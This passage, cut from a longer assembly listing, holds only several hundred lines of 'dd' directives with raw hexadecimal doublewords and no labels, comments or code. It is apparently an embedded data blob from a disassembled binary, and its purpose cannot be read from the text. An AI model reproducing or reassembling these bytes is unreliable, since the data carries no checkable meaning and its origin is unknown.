2D5A8A7Bh, 6FE00B4h, 9CE15B31h dd 96000D81h, 0CC27AAA2h, 0B2282FDh, 45E77252h, 0FF6E1100h dd 0B400EBBBh, 89626777h, 2ED60F43h, 49EE5Bh, 7F97FD3h dd 0A006CF0h, 707EDBA4h, 0D51459h, 896E96BEh, 3D803523h dd 0E7A21900h, 6B7DF41Dh, 4E4C049Bh, 0C08AFD78h, 94DEEDCEh dd 13B42549h, 0EB03B2F3h, 0AFF255D5h, 2FFA26A0h, 3CDA00AFh dd 650BB4EEh, 0CAFA96BBh, 67875B00h, 0F8B34D10h, 0D5E6018Ah dd 0A1911353h, 0AA57C001h, 0A2666B01h, 96127C8Eh, 26D08520h dd 34E049h, 0DEA83DA7h, 24003C45h, 5BE2C844h, 793226h dd 0F974B76h, 0C6AAE7FEh, 0CAD83B54h, 0A0FAA416h, 9AF82801h dd 6471EC64h, 76AA6F8h, 4047B2B0h, 4B9EA005h, 0E4E4CA10h dd 5962B707h, 52B327A4h, 0DD348030h, 24F100CFh, 0D226403Ah dd 38000560h, 4BC3F80Fh, 28E54D18h, 0F0B765h, 6A5C19FDh dd 9F8DD8ACh, 0E3FE5600h, 55BAE441h, 0DEAF007Dh, 6F22D07h dd 87004660h, 97B57BADh, 3298A9Ah, 619E165Eh, 6DB1AA32h dd 0E0792098h, 1F0A409h, 70B420F8h, 7C6221F3h, 36C100B9h dd 425EBCE0h, 350E9C64h, 0E002EC22h, 61B1DA04h, 6AEF003Fh dd 0F36CE31Dh, 1F00ACC9h, 121FAEAh, 67BB4Ch, 0F8F435CAh dd 5328C5A9h, 1223D100h, 0E50E913Fh, 57E6024Eh, 0CC069868h dd 0C0DCC884h, 0ECD30718h, 36555D00h, 0DBF01CD6h, 8CCD0045h dd 5B5804DEh, 0E032ECAh, 0CB618815h, 0FBD1D0A4h, 0FE9C00CDh dd 0BA8F0473h, 65011EE0h, 0A017AF2Dh, 0BDE0BCD4h, 0E36E00B4h dd 48AE0F98h, 6609598Dh, 8AB381h, 85267B80h, 0E42112F7h dd 455C0074h, 759106D6h, 0B29BB00Eh, 0FD098056h, 0AE7DBCh dd 0CE70C6F0h, 4CF8409Fh, 0C700C4ECh, 130B1EF9h, 745B81Ah dd 0E1086C47h, 24443091h, 0C10023A7h, 34313C35h, 13D5584Dh dd 0D22FD9h, 0D0EBB58Eh, 3E00AFFFh, 9572FBE5h, 381BF6F7h dd 2873177h, 80BB5EBEh, 85B4A7AAh, 92481100h, 0E5CB9B5Fh dd 3D89876h, 0C16A8765h, 0D3A0D115h, 0BEECB99Ah, 8D9EF800h dd 562F11FDh, 5BDA0065h, 1436B0E6h, 2A003161h, 421E720Ch dd 0FEBEA022h, 0D79059h, 2CF47603h, 0B00F5452h, 284DD40Fh dd 8A5564DDh, 0C6AD5080h, 1D52908Bh, 0C04FFDC8h, 0D4725411h dd 180006D7h, 4C77CE9Fh, 497FB602h, 30004C83h, 599B3127h dd 561F49EEh, 8D134292h, 0BC12E01Dh, 7A605002h, 0B22E1657h dd 2B001099h, 0A044E1C4h, 25C30022h, 742DB31Ch, 9A000BEEh dd 0D986BA62h, 101731h, 6F99B955h, 73E6C3C5h, 0E07748h dd 581FF0CFh, 3C69F1C9h, 1C007926h, 0E0CBA86h, 0DB383EE0h dd 892CF0AFh, 3D800873h, 114A5E04h, 0F2C47CDCh, 1EDD0377h dd 0EB08E114h, 32880D4h, 1000A98Eh, 94560106h, 0FE476A88h dd 0D221C348h, 8A0007C7h, 0D3D097BBh, 6F47DF6h, 1F5A4F2Ah dd 0C300A076h, 88FCC792h, 770CBADh, 0F37B1ED2h, 0CC0530BAh dd 0F60150E2h, 0EF15D148h, 4361F063h, 0DC04A841h, 1F64A024h dd 4FDD8DC2h, 809D5747h, 4CE6E575h, 7100B3C0h, 0A5CD5686h dd 261D06C9h, 0C2B980h, 0CBF8A663h, 0BB04C2A8h, 0AE455DE5h dd 0D71CA881h, 6C60BDF9h, 71E003E3h, 54FF659Dh, 742A9A81h dd 0DA7D78E4h, 0EC77E600h, 9E513A7Eh, 0DBFD0E0Ch, 38809397h dd 0B972C05Eh, 0E835A200h, 1D92033Ch, 0C3480088h, 9B332026h dd 460CDE16h, 585A0842h, 0EBA3F30h, 7076BCh, 46D64740h dd 57C33D9Eh, 744AC100h, 0F5EF45EAh, 0D3270142h, 83AD53DCh dd 0C865208Ch, 1270DE00h, 314179ACh, 36F50172h, 18442813h dd 7782830h, 89056A2h, 24946030h, 7D7C2C0Bh, 0DFAE00B0h dd 0A83685D5h, 34FB082Eh, 3FACC081h, 16809B41h, 0EEB6CE4Fh dd 4AF81F40h, 2D02C500h, 0A166D620h, 0FD670047h, 0F9244F55h dd 7A007C72h, 0BC11D444h, 3ABACF6h, 53D3DC97h, 0E087236Bh dd 61B9783Ah, 55D280A0h, 4F8D5600h, 8809E3B4h, 149060h dd 25CBF42Eh, 15BBCC07h, 0A7720400h, 850253E4h, 0C12B0048h dd 8A1119EAh, 577DAE66h, 0CF37E700h, 0A994225h, 7DBD00CEh dd 78241967h, 0F2741AC6h, 0D9EEE100h, 3B5CC91Bh, 75F9004Eh dd 95E7032h, 6000A544h, 0DBC70BBDh, 0C191C9h, 0AD3F6F8Ch dd 582AF28h, 0CCD839h, 519D2D06h, 5B7EEAh, 4A9979F5h, 0F3D92569h dd 16030290h, 0A5AADEF6h, 0ECE80059h, 0E1DA02DDh, 7700F40Fh dd 0F2FAB134h, 0BD2E9h, 0CE01E725h, 4EB9E469h, 8D0027F2h dd 0A896E13Fh, 3CCC75EFh, 30809C5Ah, 9E2534B6h, 0F4A135BAh dd 5F0CF848h, 8CF5B300h, 99FC1586h, 0E1B80055h, 645D3012h dd 1C00B6F1h, 46E6A195h, 37BF875h, 0AE43CA70h, 33A01159h dd 0B100BAAFh, 8BF64D68h, 0E376F23h, 59919738h, 8962658Fh dd 84C0CE78h, 6A00A78Bh, 0FD880532h, 4CD84E0Bh, 151EFC61h dd 0AD404065h, 0D5277D5Ah, 0E368B50Ch, 9851DCE9h, 3F943B5Ah dd 839F30B9h, 2F9FD7Ah, 2226BEE0h, 9880641Dh, 82AA75A4h dd 0BCE71901h dd 0C209ABDCh, 0B33AD0FFh, 0E91E00B9h, 0B19C2EB6h, 5F000736h dd 8F25A795h, 0BACA5790h, 28190128h, 6629AC7Eh, 709850FFh dd 0B312E984h, 0A087B8B0h, 14C66CD0h, 0D77B07C9h, 0DF5699C1h dd 6AAB22C0h, 0EF137F49h, 68608DBDh, 995303h, 0A4AA5264h dd 483CAF6Eh, 0BA43F500h, 0E81C6BE6h, 6F1D02CCh, 7484DD75h dd 615B99C0h, 33BC6A50h, 5DE2D000h, 9DE7882Eh, 352B00DEh dd 6A216669h, 901FEA1h, 5BB2D22Ch, 7F601F9Bh, 9A2400EFh dd 0E7272938h, 0CB303978h, 7C531814h, 45DCEDE0h, 36CDFDB8h dd 0A100782Ch, 0C1215182h, 0ED3C4AF8h, 6620AE0h, 0F089B4C9h dd 0E3C00F9h, 3F80C09Bh, 0DE801507h, 181736FDh, 0C4A0A50Bh dd 200B62Fh, 139C92FBh, 614314h, 9D8836C3h, 396BD230h dd 0BA7A71E0h, 280712FEh, 0B5F5D884h, 0B6206089h, 7A86045Ch dd 0A026A3C4h, 63008B40h, 120E54A2h, 907B559Dh, 0F99FA90h dd 0C458535Eh, 6DED88C3h, 0E685FAB0h, 0E2597A00h, 69D598A1h dd 609D5C8Bh, 0A995380Fh, 0D1F31AE0h, 0A1F22673h, 6C96C900h dd 300FFF4Bh, 8307071Ch, 70B8AF59h, 0AA3C103Dh, 61601E60h dd 71BDB33h, 352C6381h, 0C4B8F0BDh, 3C07BFF7h, 0A4CCF85Fh dd 0A8E3805Bh, 4A92AD14h, 38BC00F1h, 67964CD9h, 74879D0Bh dd 0DD18A048h, 3821418h, 0F769039Ch, 0D4E8C472h, 0E80F190Fh dd 0C0A24B77h, 1A3B4A9Fh, 582A004Dh, 5B248A05h, 7312E0D5h dd 5000C02Bh, 0B339C9DEh, 7FCF00AEh, 0D2CEF758h, 0F30040E0h dd 68BEF022h, 48879705h, 8200A702h, 370A9D85h, 0EE033C4Dh dd 0E2117035h, 92DE2658h, 913FCh, 0E7E9DCEFh, 0DD0050B1h dd 0DFD10F28h, 7D5F7C1h, 143CF8C3h, 0C25C00CAh, 39038588h dd 0BEFE40C8h, 6727A807h, 7D0C0929h, 6080C665h, 0F406E12h dd 82C5Ch, 977D7B4h, 35E2F9Bh, 0A296EC87h, 8000B8E5h, 0C869E27Ch dd 9F7E8Bh, 88A8F7F8h, 1E81766Eh, 0D3A97001h, 2418EE1h dd 85CC60h, 2C9BF311h, 0F8EC37FFh, 8C594E0Fh, 0B4CFC57Ch dd 2540941Ch, 33AF680Eh, 0DF0F028Dh, 549E55FCh, 806E6541h dd 8B6B9A78h, 3507B1h, 72265BC9h, 797CD377h, 0CDAA7000h dd 9F2C8A1Eh, 0E5360069h, 50667EE1h, 0EF00E023h, 2025D592h dd 9C433Ah, 5D84F9B4h, 79F42C01h, 3617180Eh, 2DAE4095h dd 0A14686h, 9A49E5F5h, 0C691812Ch, 0C0DF3F00h, 4089BBF7h dd 9FEE01F8h, 0FDA86495h, 8945050h, 0F5013D43h, 0BC789C55h dd 20307B17h, 5E320092h, 0B5A8E5CEh, 0DA1D8045h, 0A440010Ch dd 9735C139h, 0AB1F1F6Bh, 0CFDB8073h, 0E5654122h, 0D567E00h dd 231CC3BFh, 5078603Bh, 87B3F96Eh, 0B2D75203h, 0A8321566h dd 3017C1BFh, 4FA0091Bh, 0CA00107Fh, 5F132E0Fh, 0C9A2EEh dd 4A74A8EBh, 79667181h, 0FEF95601h, 9F8E292Fh, 9C28D0DDh dd 7151BA04h, 1054A2DEh, 431C1FDFh, 7280BC44h, 4D824B25h dd 27135458h, 18406CB4h, 0C9B36B50h, 0E6D00522h, 0B0ECCEA2h dd 8401FC30h, 0DAB1439Eh, 0ACF0AAE5h, 0E880B25Eh, 401D607Ah dd 34DE04CBh, 84504Ch, 4A204E32h, 7126E43Ch, 0C5E7959h dd 0B9BC5D55h, 5609759h, 4818C186h, 0FC09ECDh, 61C00B9Fh dd 0A2453F60h, 91CBEB17h, 53BF9403h, 181FC022h, 13303001h dd 6A996E49h, 674ED006h, 0ED1280Ch, 3FECA7B2h, 148224E1h dd 0E0972127h, 6405FA92h, 9E1A277h, 0A52AE480h, 718F760Ch dd 13CA7F8Ah, 4A777Eh, 9E5408D8h, 8CB0E2DAh, 9B394518h dd 0E04C61h, 6F425A49h, 0B53F8FABh, 0CB1E7009h, 99EC2055h dd 0B9E5E179h, 2E803FCCh, 2D6150A9h, 763052F0h, 17BED8B9h dd 0BA992C7Ah, 4BEF8090h, 2372F291h, 40CB3072h, 60F00FAAh dd 0CC8087DAh, 48E053F9h, 8D012E0Fh, 10F72301h, 22C7E0F8h dd 0FBC2E802h, 0D893DEE0h, 0D55A1898h, 33F579D4h, 161B8F02h dd 0C07D7AB7h, 19D2326h, 0F8660A85h, 0C22ECD24h, 0D7183060h dd 0C7CE2A00h, 575DB93Bh, 78F40FE3h, 5F97FA4Bh, 3EB04088h dd 461E8CA3h, 3FDD0309h, 50007724h, 0BA86A735h, 0B2805201h dd 42FD1DC0h, 13DB62C0h, 0C0730D3Ch, 0B788C597h, 0BD16C7E2h dd 0D08098E9h, 0A8C9A45Bh, 5D803F8h, 0B01D7749h, 0B5CA0B6h dd 67329C00h, 708D7E30h, 361B2DCEh, 2C4B2000h, 1100D0ECh dd 8F4EB815h, 5D0CEAh, 0E6A804B9h, 91EE31E4h, 94667309h dd 0FA9807D2h, 0C52BDCA1h, 75E45060h, 0A31F0128h, 45E16879h dd 93892015h, 804D3F3Dh, 1FC636A8h, 242852B7h, 26F80F34h dd 6CD560D8h, 0BF077C41h, 431B362h, 2F42DAC0h, 92770B97h dd 38010C7h, 0CF1D6958h, 122C3201h, 7BD001A1h, 13F6E340h dd 734C00C0h, 0A35A85FCh, 8D0AA776h, 8405E41Ah, 20100F13h dd 0ECFC0084h, 0C190E71Bh, 4EC62h, 0FB5A80BAh, 1946CC77h dd 76AA7A24h, 3F00382Ah, 0B6322138h, 14115492h, 0BC956391h dd 6D4E2700h, 0BFDD682Fh, 32316F61h, 19C4FA59h, 93C7022Bh dd 330C7B3Dh, 4BC94448h, 1F39EE1Dh, 0D77080ADh, 6079EF70h dd 90A17814h, 0B700A513h, 0C9F84DEDh, 58047Dh, 2B57F4CDh dd 97D9D46Ch, 96A35218h, 2441C92Ch, 84F559h, 6945E8D3h dd 0F10078C2h, 93716621h, 1C582FCBh, 13A5E9E4h, 0B2B48039h dd 0A061135Fh, 0C41A5598h, 260B89D0h, 9780D661h, 6540029h dd 24940579h, 0DC810202h, 0EAD61EECh, 5094A0F8h, 4CBC967Ch dd 257B7CE1h, 0E884C131h, 0D39B8279h, 4087C840h, 0F8FF78CEh dd 1D87561h, 1EF05A83h, 74046589h, 4B09E3C4h, 987B589Dh dd 0B870DE58h, 7ED60B91h, 34E02BD9h, 1116BB5Eh, 64D1FC67h dd 3078DD20h, 0A41811h, 2E4E9F7Bh, 3603E33h, 9E91E406h dd 0EEB0F556h, 3C5C226Dh, 0B16B01C3h, 0DBBFD93Ah, 0EE4037E8h dd 0C97B0013h, 99B7F53Fh, 4312E3C2h, 7C00D286h, 91D08A75h dd 0FE589D2Bh, 0C22F3C00h, 42BD2737h, 86E800D9h, 184BCF53h dd 80093828h, 7E5EE7Ah, 44804CF4h, 0CEB74F7h, 0C871E293h dd 0DC0ED618h, 0E5CBD76h, 0F130543h, 67A3D840h, 24F90CC5h dd 80EC82ECh, 0DD097807h, 0A17BC89Dh, 19C5CA00h, 31C01E58h dd 5113002Ah, 88B6053Eh, 731D4FEBh, 0C0247DA0h, 5C19FE00h dd 0E8363C5h, 0DB9157D4h, 80D7C8A5h, 0C917234Eh, 0C467F900h dd 77416102h, 56D0063h, 45BF14EBh, 8C2743DAh, 9F488587h dd 8424A4h, 0ECF67489h, 6F69C071h, 7901817Ch, 6046A99Ah dd 0F45072DFh, 0C1285EDh, 7413641Fh, 6EF401D0h, 11D5C600h dd 6CF9C0C2h, 0AE38004Ah, 0E89760BAh, 0D0005FA5h, 128D4CFBh dd 7F8CF7Dh, 2CC118EFh, 3D3960D2h, 0ECED0CBCh, 0F300243Eh dd 0B81CD0B7h, 294112h, 87E881AAh, 95F81303h, 0A254600h dd 0C7403501h, 0F9509092h, 8A12786Dh, 80AC53B5h, 26BDC8D8h dd 6522BF00h, 40D4C495h, 179E012Eh, 47AE8230h, 0F459D860h dd 95514600h, 0A6082DE0h, 87FD067Fh, 0C4D4FA9Ch, 0FB35D100h dd 3C7D76B3h, 0DDE90002h, 0CD66BA49h, 0F00BB1A7h, 8005E738h dd 700C3F56h, 0DD9B05EAh, 0AFCE7696h, 0F12F1280h, 40573C75h dd 610BD83Eh, 0DC003227h, 0C6D0D99h, 0AC37200h, 17F6EE12h dd 0DF1D1C45h, 0C11100E3h, 98C60C2Ah, 8C979B00h, 27CD6EEFh dd 0D41D0268h, 4B806FF8h, 40107460h, 3E142800h, 20BF4A86h dd 0AE3B0018h, 0E8A9DFD5h, 0CA00EF41h, 0D78C9E8Eh, 0B111FFh dd 55F37134h, 90BA8BD8h, 840D7200h, 219D80C9h, 76A41F06h dd 93F28053h dd 47A7A26Dh, 5CCC6E25h, 3DB70025h, 0CDB271F6h, 33CA93Ah dd 28BCE938h, 7226E10Dh, 0BEE0A371h, 6A8F16A8h, 56DB00A0h dd 5E5D1BE1h, 0B203E600h, 9B8647DAh, 3B811217h, 0A7CF00F9h dd 0EBECAE63h, 65EAB900h, 531E0D4Ch, 970C1421h, 7B00902Ch dd 9C0AD435h, 4601925Ch, 372AA098h, 8730DA11h, 0EE020029h dd 0B1D7B07Ch, 0C900668Eh, 1F9713F7h, 3A36583h, 948847B4h dd 2C809E0Dh, 7A00339Ch, 2A626CDBh, 1FBE210Fh, 4D275Eh dd 0AC7BA3CFh, 4700CE09h, 6FFE22F9h, 0D13AE5h, 0C2CF5658h dd 744AF2D8h, 5C045400h, 0FC9ADA75h, 0F6A0000Ah, 5EF52957h dd 0E00037BDh, 42E2724Eh, 0C0031E71h, 0CF5A8438h, 0F4A6755Dh dd 12101C3Dh, 51001602h, 3482E5D1h, 2C727Bh, 71ADCD4Dh dd 4314B39Ah, 0FB07DA00h, 0B6BAC6F8h, 0A6770Bh, 229B4B09h dd 0E654E8CDh, 0DA423100h, 23B4F460h, 88EB17DEh, 0C4F60952h dd 190D5803h, 37B98D90h, 50C2C812h, 115C5402h, 809C42F2h dd 6DE45D2Ch, 58F748EAh, 1FE3B17h, 0F22FFFE3h, 1900DBB7h dd 2A40F86Dh, 382D569h, 0E1EA73FBh, 9AB0E64Dh, 5D00EBA0h dd 1BC76EAAh, 7A2A3629h, 4D4B0401h, 809D1193h, 0C7333204h dd 484A0900h, 291F9C9Bh, 57F8DBh, 87C61AE8h, 0A4B63678h dd 0E2B3CD00h, 0C1F7E94Ah, 0D8BF14EFh, 153CD4A5h, 9E402C80h dd 0C84F52BCh, 0F2B36C00h, 5F4CC4E5h, 8CE82Bh, 0BBF00FDBh dd 0D478EC1Ah, 0FD0B7B28h, 0B0253B00h, 36B948Ch, 64AD00D0h dd 4576E6A0h, 8D065951h, 4D08E478h, 82CA0029h, 6DD70EC9h dd 723CD27Ch, 0ECA50080h, 56BA7F0Dh, 0DE7FFDh, 0BF450FAAh dd 0A16BD1D2h, 4447F400h, 0C4AC5646h, 0A2531C17h, 658F4038h dd 0D09F066Dh, 3452B600h, 533B0F94h, 0BDB500CBh, 0C4917F41h dd 4500856Eh, 0E594FAE1h, 0FFDCF02h, 0C25CBC52h, 8903DD03h dd 438CD6C0h, 8F0032F8h, 0B6E0A80h, 0E354EDh, 79EA9EB2h dd 0FF6D1B35h, 0E187C900h, 0F8E84064h, 0D4D80E50h, 38A0A970h dd 0A6CA4A08h, 4FC78200h, 0E04C048Dh, 7F45050Ch, 70FD97Bh dd 27C7B530h, 0AD6B808Dh, 8661EC22h, 9493B718h, 675184E0h dd 83BB1081h, 20965A8Bh, 0B5264E00h, 9E38066Eh, 8A89072Eh dd 8122C91Bh, 0C86D467Ah, 0F50F83E6h, 8081C557h, 334E306Bh dd 71C0007Fh, 0B91E6245h, 0D205B506h, 5886C587h, 0E0FF7A83h dd 0B06612h, 0C6C6E65h, 9B410E75h, 0CFD19414h, 8F8060ABh dd 0EE7B6B29h, 0E5040080h, 3E63AB39h, 7300F5E4h, 7225DFF0h dd 919E1Ah, 0D1CA350Ch, 694A884Ch, 68080100h, 77396FA9h dd 180D0C5Ch, 22189F8Eh, 87070A00h, 0FF358AA4h, 90597724h dd 20956048h, 4F0EA97Fh, 0E235A0A0h, 0CF0AE90Ch, 4BD93096h dd 0B508A0D6h, 0BFAB00Dh, 4088183Dh, 1E3E79A2h, 0EC078351h dd 0C801B9Ah, 80691F42h, 0B37310Ah, 97B0E19Ch, 3F986E13h dd 0BCD4570Ch, 218167F4h, 30898DA8h, 51C008C0h, 0B835C059h dd 0D181695Eh, 0BE870157h, 0C6EC098Ah, 0D241CCB6h, 9C125354h dd 840378Eh, 47C71CEh, 71C263B3h, 0BBE38BE9h, 3F1FE8F0h dd 60D0A934h, 8C576000h, 2E7AABh, 5BEB40Bh, 8A5A60E3h dd 21C4E400h, 14C3252Dh, 0D8D6003Bh, 64C6A9E7h, 1575DBFEh dd 0F773A302h, 808CED05h, 5048BBEFh, 3022E861h, 0BE70F9A4h dd 0C730630Ah, 0D760B9B4h, 3527BF5h, 18B9126h, 98A392CEh dd 0DF72217Eh, 0ED526303h, 0F0AA8D30h, 0A5D6CFDh, 8462BB83h dd 0E586028Ch, 0BC8136EFh, 5196884Dh, 9CA1DB98h, 0ED8A048h dd 0E02C8050h, 28DF62B3h, 980890A6h, 210E4E80h, 6FE5C87h dd 0D2183561h, 29F8206Fh, 0F0FD8601h, 0CAB83473h, 50453024h dd 60D2A081h, 41241067h, 0BB0943A9h, 792D8E3h, 3540A696h dd 1F909Dh, 0B3F22B20h, 0A1692C25h, 60007A76h, 647E2365h dd 0CDDE96h, 513A22B7h, 0B5F0F734h, 312BE600h, 49FEF621h dd 85B00F35h, 0ED8FE1ADh, 3D36E300h, 5702C4DCh, 67051310h dd 44DA802Dh, 1619C56h, 2A9E3FBEh, 0DB146C1Ch, 4D7ED90h dd 2C90BF1Dh, 76D7D80h, 7E06373h, 0E5E961A6h, 353B794h dd 0FA8BA156h, 7983C4A0h, 185FBA01h, 9550CF6Ch, 30E0D0h dd 126ECBE9h, 0FCD11B2Bh, 0BB657801h, 0AF6471FFh, 6A77A981h dd 9FAD3CFBh, 85B90D20h, 86CE6CB5h, 0D0EDC7ABh, 440A2C67h dd 0FFFC2E00h, 4905EF96h, 0E2E10CACh, 0D7484352h, 302E242Ch dd 0B25BD001h, 198006CEh, 5A81F73Fh, 5801DF0Fh, 115961B5h dd 91D05C0Bh, 4AD406E2h, 311055E3h, 0CFEE2600h, 92E92CCEh dd 0E8FB00D8h, 98DF09FCh, 0F000F34Eh, 10379F26h, 9C3D76h dd 0C14D14B8h, 21EACCFDh, 1D5C4200h, 0AB3B1E72h, 1F0E018Ch dd 83A070D7h, 0CFBAF8D4h, 25C7EE00h, 86EBDCE2h, 5801E884h dd 0C100C5E0h, 0DED9496Ah, 0E3DC2E8h, 4C6D18CEh, 0C3EF61h dd 0E7BF01F9h, 0F807B288h, 68B07A00h, 3B9353ECh, 3D7900BAh dd 0EDFFDAFBh, 500AD6Eh, 760A974Dh, 785A44A5h, 0D24F0EA8h dd 0D8039A7Ah, 7800CCF9h, 0AEF7751h, 3BAB464h, 1232EC93h dd 0A8F9F565h, 1C89C0F3h, 0E7E6700h, 262BBD63h, 0FE5B3051h dd 4675C541h, 17DA900h, 0CA94D20Bh, 124418D4h, 6A70F0C9h dd 0D7F45126h, 0C050B900h, 7444521Bh, 0CE220C8Bh, 0FD48FCCAh dd 81CB2A00h, 94FFB779h, 2FD300B9h, 282E32F0h, 4E036799h dd 0E6DD53EFh, 624D08Fh, 60E15C55h, 61FDE000h, 0C686DA6Ch dd 497BAB7Ch, 0A86B0600h, 0AA470A57h, 4083002Fh, 0A207DF2Ch dd 0C1006F95h, 0EE5E5022h, 0F00AF043h, 0DB970F7Fh, 480E23E6h dd 0F41EAF74h, 3EA686ACh, 29E85834h, 160B9BF6h, 8C1356F0h dd 3EFC66Ah, 0CFAC02C2h, 680054B7h, 3D2BA4Bh, 167B488h dd 2782FE5h, 0F05EA1AFh, 7300C693h, 0D60FDCE4h, 0F9A940AEh dd 0FB3A270h, 0ACC80DADh, 0D3F65520h, 88C04945h, 0CCCA4DDDh dd 52923D6Fh, 4C885A2Ah, 0B861BF28h, 0D0293F50h, 11C0FA4Ah dd 7806F1AEh, 956900DEh, 89E165D6h, 0BFEEDD66h, 5A189D1Ch dd 0C72E0A83h, 37B806EFh, 0A8FC5E7Fh, 0FAAAF218h, 93DD48h dd 0B8E37CE5h, 9CC84D38h, 97D7D000h, 0BA44CA27h, 0D64E0046h dd 1C4A8C1Ah, 6474B92Eh, 88DA3C00h, 0EB01F862h, 8D810C68h dd 0CE08B813h, 4AD221C0h, 14024CF8h, 0E29E0DD9h, 0EB8C5400h dd 65FC7931h, 0C474060Ch, 623068h, 8E56DD33h, 107E0280h dd 0FFD33803h, 0DF79E270h, 53720068h, 0D93F614Ch, 0A2477E01h dd 2BB393C2h, 5948AEB0h, 2867C5E4h, 6E604220h, 16EBA3C1h dd 198C6B0Ch, 91DA717Dh, 6F805BD0h, 80E03AF8h, 88B40CE3h dd 0F80777B9h, 548AC17Eh, 23436881h, 0FD1B1F0h, 0FEED60CAh dd 0ADA9F740h, 0D9032A6Fh, 3595CB47h, 0EED4A841h, 0D0980069h dd 4B1C7C7Eh, 0B0186DBDh, 27616BB1h, 919900BCh, 4BBA4E6Fh dd 4370D8E9h, 0FA1FF33Dh, 59E86260h, 3A059234h, 54037ED1h dd 0CEEE4D2Dh, 0FC335800h, 0E7D52E26h, 6F0800F2h, 1DEDC9Fh dd 2000B30Dh, 63CD819Eh, 0EB24F3h, 0A604494Eh, 0A82ECCE8h dd 695DEE00h, 0A01A8642h, 4615034Dh, 1B389D43h, 16373FA8h dd 0C0FDCB2Dh, 0C38D4C2Bh, 3D09A09h, 0F3BE1000h, 0F650C5DAh dd 3F5400DEh, 0E19764BBh, 9D0086BDh, 7F98FCF4h, 64D966B1h dd 23BA28CAh, 4844FC9Eh, 4FC548F8h, 0FA8C8490h, 0E433C44h dd 8600B387h, 18B54EEAh, 42DC00FCh, 0A7113390h, 17F209BFh dd 0D407CF70h, 0F871F79Dh dd 0FA14610h, 9492008Ah, 0C0FAE3BCh, 0E3A0DE1h, 7D2838EEh dd 0AE6F9614h, 8C0376BFh, 0B7ACC426h, 0DF73D02Bh, 659400C2h dd 3EE7EFDEh, 77001A8Bh, 0D4CBC74Dh, 369DA84h, 0C5BFCAF1h dd 0EABB7B94h, 9C8A3A0h, 359948h, 0B10B7ADBh, 7F0ED6E7h dd 165700F1h, 6EABCF33h, 3F0075F2h, 5E2B3409h, 7CD655E6h dd 5BBE00A6h, 2945C219h, 52262C97h, 250C3CF2h, 28F4DA27h dd 2CC0C22h, 0CCDE0A6Bh, 0D080D6E1h, 552042CAh, 8B46B300h dd 3B0EC7A7h, 716B01BFh, 2C938F27h, 4D28C0D8h, 30945000h dd 0FC3246F6h, 0B2701BBCh, 45902092h, 12012E99h, 0B02A2F52h dd 86FC2031h, 5DFB0098h, 1DAB5354h, 0BA0055B7h, 0A5C9B1C5h dd 122C9D90h, 7B49151h, 0F0460A12h, 0B6D80255h, 0B000FFB8h dd 1B438224h, 1CC7F415h, 40B283BFh, 9FE7E4Ah, 0B6505F73h dd 5B302B9Ch, 0DBAF1AF5h, 0B471D63h, 0E50F4004h, 85BA41E8h dd 0DCF8EB00h, 37DEA02Bh, 3CA70083h, 0F1FE0D27h, 4C00D055h dd 6F42BAFAh, 1EB0F2E5h, 4084044Bh, 17A7FD65h, 0CA001C02h dd 8CE05186h, 1D61D3Ch, 81DA4E4Bh, 80E51E78h, 0B90A1AD0h dd 34AF70h, 7198CC4h, 36AA3AC6h, 82043Ah, 295ABBE6h, 0EE5B2750h dd 0C211FAF7h, 9824069Ch, 0AAA5C080h, 4107F275h, 76A80C51h dd 8C4C0069h, 720BEFF8h, 0FF49031Ch, 27FAB4E9h, 5BEE7988h dd 0FC0044E6h, 1319E029h, 468685h, 0BD321EE6h, 26211BB9h dd 0CB4A9800h, 434EE445h, 3EC09DCCh, 1600A476h, 0E7F4AC9Fh dd 51D62Eh, 68BAFEC2h, 38C5A51Ah, 24E4F00h, 9B9F06B0h dd 0C2F80E21h, 1D297E7h, 301D24FCh, 6DA02F38h, 2BD1008Bh dd 0BD77939h, 3400530Dh, 816D6410h, 9F5E402h, 0EF862F77h dd 8B40C820h, 0DC00FA62h, 53238CAEh, 58F25845h, 40032ADh dd 6E5FF688h, 0FC02DA24h, 0F554E16Bh, 108E155h, 2D2770h dd 5A05AC63h, 734FCF38h, 38D3038h, 1961A402h, 8AC4F83Fh dd 57560037h, 3E9EC580h, 8B002AABh, 0D778DE6Dh, 0E62B2DCEh dd 9CC900A2h, 31CD3871h, 0D100894Eh, 1658312h, 0D384E1h dd 3DADBF28h, 0C8A99BEFh, 320A3400h, 4FD11180h, 4E5E077Bh dd 0AE0FFDCDh, 0C4013580h, 43FCA6FFh, 6BCC640Fh, 0C744C0EBh dd 0CB9B78h, 16EEF49Ch, 91D7FB5Ch, 7422F00h, 82C45095h dd 6402005Fh, 3305CD1Fh, 9E07A24Ah, 0F4F60116h, 92F39AA0h dd 3C9B00BFh, 6964CB9Fh, 0CC00D7E3h, 0FC1CEAB2h, 3E33584Dh dd 0B4009A6Dh, 2CE99789h, 600BE776h, 0D00C0B48h, 30280072h dd 82F5B0AAh, 0BB00F959h, 85CE2726h, 3B861258h, 79075A9Ch dd 3017D262h, 885E3D0Ah, 84CFF100h, 0F06C704Fh, 8FBF00CBh dd 77B56F54h, 69001B18h, 350D1640h, 0E43C630Fh, 5E6400ADh dd 33A453A8h, 0C1077995h, 15A3B950h, 2CA19240h, 0D64C1D8Ah dd 796808Eh, 0F2F6C758h, 0E71C552Eh, 52516400h, 1877D687h dd 646127DCh, 0B10001A1h, 0E30D042Fh, 1D22050h, 8B9D62E0h dd 0E8DD7F60h, 0A90F580Ch, 0EF0F9833h, 182D400Dh, 28B5A348h dd 0A0C9BEh, 92C54EC3h, 0AC66DBCBh, 8A0BB80Fh, 0AE3B80FBh dd 736BC694h, 0A8C0042Fh, 807FECABh, 0A0FB844h, 62D4D101h dd 79B1938h, 14E56EC4h, 0A0843211h, 5962500h, 2A8CABE6h dd 9A451A00h, 5C0ABD30h, 3BC8008Ah, 61DD9890h, 0F60039FEh dd 0F72A3D07h, 13AADAh, 0EF6BD49Ah, 8A11502Eh, 8900B7E0h dd 16D71B62h, 151F2F7h, 2E383170h, 0ECDC6FEFh, 0FF24737Ch dd 69003C5Dh, 0DA49118Dh, 3CBA0202h, 0FCCE36EDh, 0D18B4141h dd 0D78FC0FFh, 33E58800h, 16E7D003h, 32503FA6h, 0DC807A06h dd 0E9A12089h, 0CE8D404Bh, 7F005AC7h, 8F35A615h, 7E0CA29Bh dd 12DD0042h, 3C38250h, 8E07D92Ch, 191E99D1h, 95F5E9D0h dd 2096009Bh, 62849A34h, 2300CCB1h, 61AA52D4h, 147DDEh dd 8F5B4CB0h, 7469D30h, 0D07E5E00h, 0B4A1ACFh, 24850070h dd 0EFA01733h, 4F00C1EAh, 0DD43B06h, 60FDC5h, 5985D6CBh 